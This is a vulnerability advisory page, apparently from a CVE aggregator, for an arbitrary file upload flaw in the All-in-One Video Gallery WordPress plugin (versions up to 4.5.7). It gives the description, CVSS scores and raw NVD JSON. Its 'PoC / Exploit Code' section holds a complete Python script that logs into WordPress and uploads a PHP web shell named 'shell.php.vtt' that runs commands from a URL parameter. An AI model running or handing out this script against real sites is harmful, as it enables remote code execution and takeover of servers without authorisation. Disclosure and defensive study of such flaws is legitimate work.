Security Vulnerability Report
中文
CVE-2025-12957 CVSS 8.8 HIGH

CVE-2025-12957

Published: 2026-01-16 05:16:08
Last Modified: 2026-04-15 00:35:42

Description

The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 4.5.7. This is due to insufficient file type validation detecting VTT files, allowing double extension files to bypass sanitization while being accepted as a valid VTT file. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

All-in-One Video Gallery WordPress插件 <= 4.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12957 PoC - All-in-One Video Gallery Arbitrary File Upload # Target: WordPress with All-in-One Video Gallery plugin <= 4.5.7 def upload_shell(target_url, username, password, wordpress_url): """ Upload malicious file with double extension to bypass VTT validation """ # Create malicious VTT file with PHP code php_payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' malicious_filename = 'shell.php.vtt' # WordPress login login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return None print("[+] Login successful") # Upload malicious VTT file via plugin endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': (malicious_filename, php_payload, 'text/vtt') } data = { 'action': 'aigv_upload_subtitle', 'post_id': '1' } resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200 and 'uploaded' in resp.text.lower(): print("[+] Malicious file uploaded successfully") print(f"[*] Access the shell at: {target_url}/wp-content/uploads/.../shell.php.vtt?cmd=whoami") return True else: print("[-] Upload failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <wordpress_url>") sys.exit(1) upload_shell(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12957", "sourceIdentifier": "[email protected]", "published": "2026-01-16T05:16:08.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 4.5.7. This is due to insufficient file type validation detecting VTT files, allowing double extension files to bypass sanitization while being accepted as a valid VTT file. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}, {"lang": "es", "value": "El plugin All-in-One Video Gallery para WordPress es vulnerable a la carga arbitraria de archivos en todas las versiones hasta la 4.5.7, inclusive. Esto se debe a una validación insuficiente del tipo de archivo al detectar archivos VTT, lo que permite que archivos con doble extensión eludan la sanitización mientras son aceptados como un archivo VTT válido. Esto hace posible que atacantes autenticados, con acceso de nivel de autor y superior, carguen archivos arbitrarios en el servidor del sitio afectado, lo que puede hacer posible la ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3405593/all-in-one-video-gallery", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ad2e1d91-03bd-4e47-b679-81c42414238b?source=cve", "source": "[email protected]"}]}}